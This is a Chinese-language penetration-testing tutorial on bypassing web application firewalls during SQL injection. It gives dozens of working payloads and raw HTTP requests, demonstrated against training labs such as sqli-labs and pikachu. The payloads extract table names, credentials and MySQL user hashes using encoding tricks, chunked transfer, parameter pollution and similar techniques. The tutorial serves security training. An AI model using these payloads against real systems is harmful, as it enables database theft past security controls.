# 02.SQL注入绕过 ## 1. SQL 注入绕过 SQL 注入绕过技术已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。 ## 2. or and xor not绕过★ 目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2 对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下 | 指令 | 字符 | | ---- | ------------ | | and | && | | or | || | | not | ! | | xor | | | 需要注意并不是所有数据库的SQL语句都支持上述字符。 ```sql mysql> select * from users where id=1 and 1=1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 && 1=1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id not in (2,3); +------+----------------------+-----------+ | id | username | password | +------+----------------------+-----------+ | 1 | Dumb | Dumb | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +------+----------------------+-----------+ 11 rows in set (0.00 sec) mysql> select * from users where id in (2,3); +----+----------+------------+ | id | username | password | +----+----------+------------+ | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | +----+----------+------------+ 2 rows in set (0.00 sec) mysql> select * from users where id=1 && 2=1+1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) ``` ### 2.1 源码分析 下面的代码会将id中的or和and替换为空字符串 ![image.png](02.SQL注入绕过/1675386616896-f168a249-4226-4173-a2b2-9a74ccaedc34.png) 输入and、or都会被过滤报错 ![image.png](02.SQL注入绕过/1675386749672-5a8c7f33-a027-423e-8c7f-7b24a024cc19.png) 使用||符号就可以绕过 ![image.png](02.SQL注入绕过/1675386813319-417359e9-3131-4ac9-b3e1-50aa834b8a09.png) ## 3. 空格字符绕过 如果出现空格被拦截的情况,就需要使用空格字符绕过。常见做法是尝试使用URL编码,但是要注意,在php中这类url编码在程序中仍然可能会被过滤掉。 | 编码 | 空格字符 | | ---- | ----------------- | | %09 | TAB键(水平制表符) | | %0a | 新的一行 | | %0c | 新的一页 | | %0d | return功能 | | %0b | TAB键(垂直制表符) | | %a0 | 空格 | 另外SQL语句也支持注释来充当空格,注释的格式为 `/*注释内容*/` ![image.png](02.SQL注入绕过/1675387429248-935d8b77-3fd1-4977-bcba-d51f06a1934c.png) 另外mysql也支持将某些命令根据版本兼容性来进行注释,比如`/*!50000select*/`表示5.00.00版本以上的mysql才会执行这个代码 ![image.png](02.SQL注入绕过/1675387758965-8b55d6fc-b2b6-4592-9681-40586cfb8c4a.png) ### 3.1 源码分析 ![image.png](02.SQL注入绕过/1675387898191-300a31fc-2f28-44c3-9792-3243a1b8dada.png) 尝试使用注入语句,发现空格和--被过滤,使用普通的方式已经无法对代码形成闭合状态 使用如下闭合语句 ![image.png](02.SQL注入绕过/1675388246009-534d5720-2725-4db8-8aa6-a6fe67ae9136.png) 使用报错注入 ![image.png](02.SQL注入绕过/1675388405353-f60ff6aa-70cb-4906-8741-bc615f8d4545.png) 查找表名的时候发现空格被过滤 ![image.png](02.SQL注入绕过/1675388494521-936b68da-6a64-4bb3-a899-28fd38169dbf.png) 使用括号绕过空格限制,此处使用URL编码并不能绕过PHP的过滤策略 ``` ?id=1'||updatexml(1,concat(0x7e,( select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security') )),1)||'1 ``` ![image.png](02.SQL注入绕过/1675388987831-f267e2d7-a9e8-4ff3-b199-0f258392e038.png) 空格字符编码绕过示例 ![image.png](02.SQL注入绕过/1675392003127-044a6891-ce99-4102-ab0d-05f5989c3cf0.png) ## 4. 大小写绕过 注意下面的过滤代码正则匹配模式并未忽略大小写 ![image.png](02.SQL注入绕过/1675389702549-c8e6c3f5-5aaa-42e6-a5d4-394ead24b3b1.png) 使用盲注 ```sql http://d16.s.iproute.cn/Less-27/?id=0'||substr((sElect(group_concat(username))from(users)),1,1)='D'||'0 ``` ![image.png](02.SQL注入绕过/1704874456979-344c10d4-2ffa-4e38-9879-e2f27f2605bd.png) 使用报错 ``` http://d16.s.iproute.cn/Less-27/?id=1'||substr((updatexml(1,concat(0x7e,(SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)),1,1)='D'||'1 ``` ![image.png](02.SQL注入绕过/1675390319606-b66c7870-d5db-4102-acfa-ef164e31db2e.png) ## 5. 浮点数绕过 sql 语句的一个特性,在浮点数后面跟着 union 可以不加空格,并且1.0=1 ![image.png](02.SQL注入绕过/1675390463355-5958c502-bb29-418f-b349-e6265f3aa008.png) ![image.png](02.SQL注入绕过/1675394156605-8b34cacb-cbec-4ee6-8292-12c3108e380e.png) ![image.png](02.SQL注入绕过/1675394258843-bb7acd47-63a4-4a81-aadd-2a392de13d12.png) ![image.png](02.SQL注入绕过/1675394309880-6391156e-1ca0-4a2e-ab68-c7db1721a58d.png) 为了闭合后面的引号,可以使用如下语句 ![image.png](02.SQL注入绕过/1675394368928-8ad63fa7-3eff-4e1a-98b4-a7bf3a18b66e.png) 浮点数绕过实战 ```sql http://d16.s.iproute.cn/Less-27/?id=999.0'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1 ``` ![image.png](02.SQL注入绕过/1675394961118-edca890a-6404-4530-9ab2-aa18b26b9b7e.png) 上面这个案例看起来有浮点数,其实和浮点数没关系,改成任何字符串都没问题,因为在源码中这个id是拼接为字符串的 ![image-20250108103630308](02.SQL注入绕过/image-20250108103630308.png) ``` http://d16.s.iproute.cn/Less-27/?id=a'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1 ``` ![image.png](02.SQL注入绕过/1675395062388-d09af3b2-f8a6-4a0a-96cc-a21654f7fe8e.png) 浮点数绕过主要需要与union配合使用,在过滤空格的场景中可以让union前面的空格省略 ```sql http://d16.s.iproute.cn/Less-27/?id=99.0'unIOn%0dseLEct(1),(database()),(3)%0d||'1 ``` ![image.png](02.SQL注入绕过/1675395656338-f542fa45-0e0b-4559-bde1-49d10dfdafca.png) Null也可以作为union前面空格的省略工具 ```sql http://d16.s.iproute.cn/Less-27/?id=Null'unIOn%0dseLEct(1),(database()),(3)%0d||'1 ``` ![image.png](02.SQL注入绕过/1675395732552-4d4e08b4-6fe6-4715-9404-f6df618da9c0.png) 任意一个字符串,包括数字字符串都可以作为union前面的省略工具 ![image.png](02.SQL注入绕过/1675395757278-76ca2c86-b5be-46b4-b18b-eb3c8aa8532e.png) ![image.png](02.SQL注入绕过/1675395856261-2b1180e9-8f67-4155-8a7d-06673e72be90.png) 在这个案例中并没有用到整数型后面直接跟着union的特性,但是这个知识点需要记住 ## 6. 引号绕过 引号主要使用的是字符串,可以将字符串转换为16进制,就可以避免使用引号了 ```sql http://d14.s.iproute.cn/vulnerabilities/sqli/?id=1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6431345f735f6970726f7574655f636e)--+&Submit=Submit# ``` ![image.png](02.SQL注入绕过/1675398290598-80f6cdbc-4ce9-4cd1-80b2-5f3ad7b785d6.png) ## 7. 添加库名绕过 有些waf的拦截规则并不会拦截带上库名的表查询,在遇到waf的时候可以做一下尝试 ```sql select user,host from mysql.user; select * from users where id=-1 union select 1,2,3,concat(user,authentication_string) from mysql.user; ``` ## 8. 去重绕过★ 在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截 ```sql select * from users where id=-1 union distinct select 1,2,3,version() from users; ``` 实战效果 ```sql ?id=-1' union distinct select 1,2,version() from users--+ ``` ![image.png](02.SQL注入绕过/1675755846927-fbcb653d-4bd9-4b23-b26d-b2f41e8f2d51.png) 匹配规则分析 ![image.png](02.SQL注入绕过/1675756428782-61e9de20-3997-455a-826d-c30ec39e8014.png) 如果规则是这样的,就无效 ![image.png](02.SQL注入绕过/1675756464451-1174b12c-5582-4f59-9d02-29ba4dc8dfe0.png) # 反引号绕过 MySQL中的反引号(`)是为了区分MySQL的保留字与普通字符而引人的符号,反引号可以代替空格,绕过空格过滤。 ```sql select`username`from`users`; ``` ## 9. 脚本语言特性绕过 在php语言中id=1&id=2后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些waf的拦截。 ```sql id=1%00&id=2 union select 1,2,3 ``` 有些 waf 回去匹配第一个 id 参数 1%00 %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。 其他语言特性 | 服务器中间件 | 解析结果 | 举例说明 | | -------------------------------- | -------------------------- | -------------------- | | ASP.NET/IIS | 所有出现的参数值用逗号连接 | color=red,blue | | ASP/IIS | 所有出现的参数值用逗号连接 | color=red,blue | | PHP/Apache | 仅最后一次出现参数值 | color=blue | | PHP/Zeus | 仅最后一次出现参数值 | color=blue | | JSP,Servlet/Tomcat | 仅第一次出现参数值 | color=red | | JSP,Servlet/Oracle App Server10g | 仅第一次出现参数值 | color=red | | JSP,servlet/Jetty | 仅第一次出现参数值 | color=red | | IBM Lotus Domino | 仅最后一次出现参数值 | color=blue | | IBM HTTP Server | 仅第一次出现参数值 | color=red | | mod_perl, libapreq2/Apache | 仅第一次出现参数值 | color=red | | Perl CGI /Apache | 仅第一次出现参数值 | color=red | | mod_wsgi(Python) /Apache | 仅第一次出现参数值 | color=red | | Python/Zope | 转化为List | color=['red','blue'] | 实战效果 ``` ?id=1%00&id=-1' union select 1,2,version() from users --+ ``` ![image.png](02.SQL注入绕过/1675822488720-f13369ad-b52d-4731-9bc2-acc01631b67b.png) ## 10. substr字符串截取★ 原理如下,通过截取字符串来进行sql注入,甚至可以通过转成16进制避免出现单引号。 ```sql mysql> select (substr(database() from 1 for 1)); +-----------------------------------+ | (substr(database() from 1 for 1)) | +-----------------------------------+ | s | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and 's'=(select(substr(database()from 1 for 1))); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and 0x73=(select(substr(database()from 1 for 1))); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) ``` 实战效果,使用命令 ```sql ?id=1' and (select(substr(database() from 1 for 1)))=0x73--+ ``` ![image.png](02.SQL注入绕过/1675823891583-9377139a-a99c-41c0-8072-761dfaaa8c0b.png) 如果猜测不对,就会出现下面的界面 ![image.png](02.SQL注入绕过/1675823916729-66f4d257-d563-4cf5-b861-cd4a7edd5295.png) ## 11. mid字符串截取★ 这个 mid函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤,可以使用这个函数代替 ``` ?id=1' and (select(mid(database() from 1 for 1)))=0x73--+ ``` ![image.png](02.SQL注入绕过/1675824489678-b843cf22-a00d-4da9-ab92-a4a2ce7dbde0.png) ## 12. 使用join绕过 使用 join 连接两个表 ``` union select 1,2 等价于 union select * from (select 1)a join (select 2)b ``` ```sql mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=-1 union select * from (select 1)a join (select user())b join (select 3)c; +----+----------------+----------+ | id | username | password | +----+----------------+----------+ | 1 | root@localhost | 3 | +----+----------------+----------+ 1 row in set (0.00 sec) ``` 实战效果,使用命令 ```sql ?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+ ``` ![image.png](02.SQL注入绕过/1675827077154-68d7fce4-96a4-4c0b-ac2a-03a42d13e129.png) ## 13. like绕过★ 有时候不给使用= 使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1, 否则返回 0 ```sql mysql> select user() like '%root%'; +----------------------+ | user() like '%root%' | +----------------------+ | 1 | +----------------------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and (select user() like '%root%'); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) ``` 找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。 实战效果 ``` ?id=1' and (select user() like '%root%')--+ ``` ![image.png](02.SQL注入绕过/1675832702909-b253a8fd-06bc-4f87-a02b-44147f941852.png) ## 14. limit offset 绕过 SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目是一条,如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。 ```sql mysql> select * from users where id=-1 union select 1,2,user() limit 1 offset 0; +----+----------+----------------+ | id | username | password | +----+----------+----------------+ | 1 | 2 | root@localhost | +----+----------+----------------+ 1 row in set (0.00 sec) ``` 实际效果 ```sql ?id=-1'union select 1,2,version() limit 1 offset 0--+ ``` ![image.png](02.SQL注入绕过/1675833023218-9ee47e87-43d3-46f7-b8b1-92c62586e44f.png) ## 15. ascii 字符绕过 截取出来的字符转为ascii码,来避开联合查询注入 ```sql mysql> select substring(user(),1,1); +-----------------------+ | substring(user(),1,1) | +-----------------------+ | r | +-----------------------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and substring(user(),1,1)='r'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) ``` 实战效果 ``` ?id=1' and ascii(substring(user(),1,1))=114--+ ``` ![image.png](02.SQL注入绕过/1675833350899-e3a4884d-2100-4480-b031-c8b8c990d707.png) ## 16. 等号绕过★ 如果程序会对=进行拦截 可以使用 like、rlike、regex或者使用< 、> ### 16.1 < 、>绕过 ```sql mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115; Empty set (0.00 sec) ``` 绕过测试 ```sql ?id=1' and ascii(substring(user(),1,1))<115--+ ``` ![image.png](02.SQL注入绕过/1675833702445-f18f4909-fe9e-477f-94ab-50f0634b8596.png) ### 16.2 like、rlike绕过 ```sql mysql> select * from users where id=1 and (select substring(user(),1,1)like 'r%'); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and (select substring(user(),1,1)rlike 'r'); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) ``` ### 16.3 regex绕过 ```sql mysql> select * from users where id=1 and 1=(select user() regexp '^r'); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and 1=(select user() regexp '^a'); Empty set (0.00 sec) ``` ## 17. 双关键词绕过 有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如: `id=-1'UNIunionONSeLselectECT1,2,3--+` 到数据库里执行会变成 `id=-1'UNION SeLECT1,2,3--+` ,从而绕过拦截。 ## 18. 二次编码绕过 有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,有些 waf 是不会拦截的。 php代码用了urldecode()等编码函数,与php自身编码配合失误。 由于sqli-labs没有二次编码注入的环境,所以我们在less1中加入一些代码 ```php // 转义字符串中的特殊字符 $id = mysql_real_escape_string($_GET[id]); echo "mysql_real_escape_string: $id
"; $id = urldecode($id); echo "urlencode: $id
"; ``` ![image.png](02.SQL注入绕过/1676007155485-a95d4a45-7c8f-4d72-a688-7571c451d590.png) 判断是否存在二次编码注入 ``` doublecode.php?id=1' ``` ![image.png](02.SQL注入绕过/1676007277322-3f8f1670-ab8d-4bc1-beab-4af728791ed4.png) 可以看到单引号被转义了,使用编码 以上图片体现二次编码 ,%25由于编码作用被转义为%,而接下来的%27二次编码被转义为' ![image.png](02.SQL注入绕过/1676007348040-b6096924-bfa5-4e5b-88f8-38ed216c9ce3.png) 下面即可正常进行SQL注入 ```sql http://d16.s.iproute.cn/Less-1/doublecode.php?id=-1%2527 union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+ ``` ![image.png](02.SQL注入绕过/1676172513456-a5e2c66e-8c38-499c-a414-e61a39e85be8.png) ## 19. 多参数拆分绕过 将多个参数拼接到同一条SQL语句中,可以将注入语句分割插入,主要用于union select一起使用被拦截的绕过 例如 `a=[input1]&b=[input2]`可以将参数a和b拼接在SQL语句中 例如如下代码 ```sql 多参数拆分注入"; header("Content-Type:text/html;charset=utf8"); $con = mysqli_connect("localhost", "root", "usbw", "test"); mysqli_set_charset($con, 'utf8'); if(!$con){ echo "Connect failed:" . mysqli_connect_error(); } function filterstr($key){ if(!get_magic_quotes_gpc()){ $key = addcslashes($key); } return $key; } $id = isset($_GET['id']) ? $_GET['id'] : 1; $username = isset($_GET['username']) ? $_GET['username'] : 'admin'; $sql = "select * from users where id='$id' and username='$username'"; $result = mysqli_query($con, $sql); $row = mysqli_fetch_array($result); if($row){ echo "id:" . $row['id'] . "
"; echo "用户名:" . $row['username'] . "
"; echo "密码:" . $row['password'] . "
"; echo "密码:" . $row['email'] . "
"; } echo '

'; echo "查询语句是:$sql
"; echo mysqli_error($con); ?> ``` 可以使用如下命令绕过拦截 ```sql id=-1'union/*&username=*/select 1,user(),3,4--+ ``` 多参数拆分注入 ![image.png](02.SQL注入绕过/1676175035416-dae551b2-fb52-4b52-83e1-a8bedd8db4ca.png) ## 20. 使用生僻函数绕过 使用生僻函数替代常见的函数,这样可以绕过过滤规则不全面的waf拦截 例如使用exp()替换updatexml() ```sql id=-1' and exp(~(select * from(select user())a))--+ ``` ![image.png](02.SQL注入绕过/1676175912163-58c82443-99ac-4c9d-8b24-57a2c44954ed.png) ## 21. 分块传输绕过★★★★★ 背景知识 什么是 chunked 编码? 分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。 传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。 Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的 buffer,等内容全部生成好再计算。这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。因此我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块编码(Transfer-Encoding: chunked)。 对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需要先缓存生成的内容,再计算总长度填充到 Content-Length,再发送整个数据内容。这样显得不太灵活,而使用分块编码则能得到改观。分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输。 二、如何使用 chunked 编码 如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方式。接下来会发送数量未知的块,每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。消息最后以 CRLF 结尾。在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。 ### 21.1 实战 由于 Windows 的IIS中间件对分块传输支持不佳,所以此处选择使用Linux版本 靶场 pikachu 拦截一个数据包如下 ![image.png](02.SQL注入绕过/1677649770849-14e281c1-5926-4061-8da1-259a2a5a99fa.png) 来到重放模块,修改为分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送,第一行是长度,第二行是字符串,0 表示传输结束,后面跟上两个换行。 ``` Transfer-Encoding: chunked 2 id 2 =1 1 & 6 submit 2 =1 0 ``` ![image.png](02.SQL注入绕过/1677649933953-b9e1a096-4bcf-4d5e-83cc-980d0ae803ca.png) 使用分块传输插件 插件主页:https://github.com/c0ny1/chunked-coding-converter ![image.png](02.SQL注入绕过/1677650152914-0ff82f9a-51f3-41a6-8fb8-951d077f528f.png) 使用插件分块传输,数字后面跟了个分号,分号后面跟了一些奇怪的字符。这些字符的作用可有可无,主要是用来充当垃圾字符,来绕WAF的 ![image.png](02.SQL注入绕过/1677650340030-0f2ab7e4-b1f5-4656-876e-0179b6f6964c.png) 查询到结果 ![image.png](02.SQL注入绕过/1677650380188-288a5c71-5824-46be-a51c-28f2ac68a98f.png) ## 22. 白名单绕过 有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。白名单通常有目录: ```sql /admin /phpmyadmin /admin.php ``` 普通的注入: ```sql ?id=-1' union select 1,2,version()--+ ``` ![image.png](02.SQL注入绕过/1677653860382-ee237a83-e78c-4a18-be51-4d6ac7a1ad2d.png) 加了白名单的注入: ```sql ?id=/admin.php?&id=-1' union select 1,2,version()--+ ``` ![image.png](02.SQL注入绕过/1677653929896-8467d1fa-5793-4d38-8593-a58ac9a3771b.png) ## 23. 静态文件绕过 除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。 例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。 注入: ```sql ?id=/test.jpg?&id=-1' union select 1,2,version()--+ ``` ![image.png](02.SQL注入绕过/1677653998801-082761d2-2b2e-4e4c-8e0d-f1fa1bd46024.png) 甚至可以改成这种: ```sql ?hack.js?&id=-1' union select 1,2,version()--+ ``` ## 24. pipline 绕过注入 http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止。 ### 24.1 实战 这里需要POST形式的,以sqli-labs靶场第11关为例 普通注入: ```sql uname=' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit ``` ![image.png](02.SQL注入绕过/1677654334793-70861d71-0dd4-4fe5-ae07-0930df9abd28.png) 使用pipline注入 1. 把 brupsuite 自动更新 Content-Length 勾去掉。 ![image.png](02.SQL注入绕过/1677654392927-8c5920c4-c737-4fa3-ba56-a810f96fe37d.png) 2. 复制请求包,粘贴一下。 ![image.png](02.SQL注入绕过/1677654483393-5f7ad66d-dea9-4636-a4a8-8c4d8c87dd1e.png) 3. 设置payload,并获取其长度 ![image.png](02.SQL注入绕过/1677654670391-c185c7d6-7424-47e1-9e57-66c1c8520a76.png) ![image.png](02.SQL注入绕过/1677654717305-8c18d70b-cef2-42ca-ac68-b6a3f1a58597.png) 4. 修改Content-Length和Connection ![image.png](02.SQL注入绕过/1677654980624-b7149a7d-8d50-45ec-b178-1ac01a9aa597.png) ## 25. multipart/form-data 绕过 在 http 头里的 Content-Type 提交表单支持三种协议: ```sql application/x-www-form-urlencoded 编码模式 post 提交 multipart/form-data 文件上传模式 text/plain 文本模式 ``` 文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。 ```sql POST /vul/sqli/sqli_id.php HTTP/1.1 Host: 192.168.49.163:32777 Content-Length: 180 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.49.163:32777 Content-Type: multipart/form-data;boundary=alicealice User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.49.163:32777/vul/sqli/sqli_id.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: loveuser=4da774edec5008a818f954b214a8e20d; PHPSESSID=qahkeg1u261kk1j8535hjedd5a Connection: close --alicealice Content-Disposition: form-data; name="id" -1 union select 1,user() --alicealice Content-Disposition: form-data; name="submit" %E6%9F%A5%E8%AF%A2 --alicealice ``` ![image.png](02.SQL注入绕过/1677657252026-8199ec04-4aea-47df-878f-b2c0b0ab2aa2.png) ## 26. order by绕过 当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。 ```sql mysql> use security Database changed mysql> select * from users where id=1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) /* 数据库有3列 */ mysql> select * from users where id=1 order by 3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) /* 普通order by查询 */ mysql> select * from users where id=1 into @a,@b,@c; Query OK, 1 row affected (0.00 sec) mysql> select * from users where id=1 into @a,@b; ERROR 1222 (21000): The used SELECT statements have a different number of columns /* into查询,列数正确返回ok,列数错误返回error */ ``` ### 26.1 实战 使用命令: ```sql ?id=1' into @a,@b,@c--+ ``` 使用命令: ```sql ?id=1' into @a,@b--+ ``` ![image.png](02.SQL注入绕过/1677657853191-ea579d59-a5a0-4f6a-b46c-6132d4cada3b.png) ## 27. http 相同参数请求绕过★★ waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则,请求被拦截,如果程序中能同时接收get、post,变换请求方式有几率能绕过检测。 # application/json 或者 text/xml绕过 有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行, json 格式通常不会被拦截。所以可以尝试绕过 waf。 比如下面的数据包 ```sql POST /06/vul/sqli/sqli_id.php HTTP/1.1 Host: 192.168.0.115 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type:application/json Content-Length: 38 Origin: http://192.168.0.115 Connection: close Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0 Upgrade-Insecure-Requests: 1 {'id':1 union select 1,2,3,'submit':1} ``` ## 28. 大量字符绕过★★ 有一定绕过的可能,数据包帧头过长时可能会超过设备的检测深度,导致绕过。 可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截,如: ```sql id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user() ``` 下面的案例中使用的注入post提交内容为 ```sql id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF%A2 ``` ![image.png](02.SQL注入绕过/1677737972484-baad7e7c-2df6-45dc-8d11-3aa8ea5470f8.png) ## 29. 花括号绕过 ```sql select 1,2 union select{x 1},user() ``` 花括 左边是注释的内容,这样可以一些 waf 的拦截。 使用命令 ```sql ?id=-1' union select {x 1},2,version()--+ ``` ![image.png](02.SQL注入绕过/1677738395559-9a146075-e476-45cb-b346-e7a9f60feafb.png) ## 30. 使用 ALL 或者 DISTINCT 绕过★ 使用命令: ```sql ?id=-1' union DISTINCT select 1,version(),3--+ ``` ![image.png](02.SQL注入绕过/1677738580241-faafacdb-87af-45ba-99d6-749abed79a1c.png) ## 31. 换行混绕绕过★★ 目前很多 waf 都会对 union select 进行过滤,因为联合查询使用了这两个关键词,一般过滤这个两个字符,想用联合查询就很难了。可以使用换行 加上一些注释符进行绕过。 ### 31.1 GET型 使用命令: ```sql ?id=-1' union /*sdfqwdsgs123456*/select 1,version(),3--+ ``` ![image.png](02.SQL注入绕过/1677738693054-f722deae-c1cd-499a-81e4-26dec3dca69b.png) POST型 选用sqllib第11关 使用命令: ```sql uname=' union select /* sdf 123456789 qwejiknklfnaltkkoi */(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit ``` 